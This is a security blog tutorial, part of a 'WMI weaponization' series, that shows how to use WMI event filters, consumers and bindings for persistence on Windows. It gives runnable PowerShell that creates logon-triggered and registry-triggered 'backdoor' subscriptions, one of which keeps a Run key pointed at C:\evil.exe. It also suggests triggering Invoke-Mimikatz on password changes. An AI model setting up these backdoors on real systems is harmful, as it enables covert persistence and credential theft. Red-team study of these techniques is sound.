
Getting Started with WMI Weaponization – Part 5
Establishing Persistence with WMI
Like SQL, WMI can be setup with a set of Triggers. We can use these triggers to maintain persistence on a system by launching commands after a specified event is detected. These are stored in the root/subscription namespace and fall into two broad categories, Intrinsic Events and Extrinsic Events.
Intrinsic Events
Intrinsic events work off a polling rate, wherein WMI polls the Windows Event Tracer at a set interval, checking if an event has occurred. The WMI polling must occur while the event is occurring or else WMI will miss the event and not trigger. Due to this, WMI triggers with an insufficient polling rate have the potential to miss events.
Extrinsic Events
Extrinsic Events, instead of working off a polling rate where the event is pulled into WMI, have the event pushed into WMI. Due to this, the trigger will not miss the event. While Extrinsic events are more reliable, there are also far fewer events that trigger this way.
Breakdown of Triggering
WMI triggers consist of three parts:
- Filter
- Consumer
- Binding
Let’s look at an example of an intrinsic event similar to what is in the awesome PowerLurk WMI persistence script:
Filter
The filter looks for the triggering event.
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{ EventNamespace = 'root/cimv2' Name = "Backdoor Logon Filter" Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'" QueryLanguage = 'WQL' }
In this example, we use the Set-WmiInstance commandlet to create a new instance of an EventFilter in the root\subscription namespace. In this we define a query that polls from the InstanceCreationEvent class looking for an Instance that matches the Win32_LoggedOnUser class. The polling rate is defined in the WITHIN 10 clause.
Consumer
The consumer is launched upon the successful match of a filter. Now let’s look at an example consumer:
$command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value texttext" $Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{ Name = "Backdoor Consumer" CommandLineTemplate = $Command }
In this example, we create an instance within the CommandLineEventConsumer class which is also located in the root\subscription namespace. This type of consumer can execute a series of commands on the command line.
Binding
Now let’s examine a binding
Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $Filter Consumer = $Consumer }
A binding takes an EventFilter and ties it to a consumer that is executed whenever the filter is matched. This entire sequence of events will look for a user logon event and then afterwords execute a command. In this instance, we just created a file, however a more imaginative attacker could do far more interesting things.
The previous was an example of an Intrinsic event. Let’s now examine a slightly more complicated example that uses and Extrinsic event.
$Path = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" $Name = "Registry Backdoor" $Value = "C:\evil.exe" $Command = "powershell.exe -Command Set-ItemProperty $path -Name $name -Value $value" $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{ EventNamespace = 'root/cimv2' Name = "Backdoor Registry Filter" Query = "SELECT * FROM RegistryValueChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND KeyPath=''SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\'' AND ValueName = '$name'" QueryLanguage = 'WQL' } $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{ Name = "Backdoor Registry Consumer" CommandLineTemplate = $Command } $Binding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $Filter Consumer = $Consumer }
In this instance we setup an extrinsic event that looks for a registry entry change in theHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ key and upon detecting the change restores the keys value.
There are many possible uses for WMI Event Triggers and Consumers. For instance we could trigger on a password change event and run Invoke-Mimikatz afterword.
Explore More Blog Posts

CVE-2025-21299 and CVE-2025-29809: Unguarding Microsoft Credential Guard
Learn more about the January 2025 Patch Tuesday that addresses a critical vulnerability where Kerberos canonicalization flaws allow attackers to bypass Virtualization Based Security and extract protected TGTs from Windows systems.

CVE-2025-27590 – Oxidized Web: Local File Overwrite to Remote Code Execution
Learn about a critical security vulnerability (CVE-2025-27590) in Oxidized Web v0.14 that allows attackers to overwrite local files and execute remote code execution.

Is It Worth It? Let Me Work It: Calculating the Cost Savings of Proactive Security
Discover the cost savings of proactive security solutions to support your shift from traditional vulnerability management to a risk-based approach to exposure management.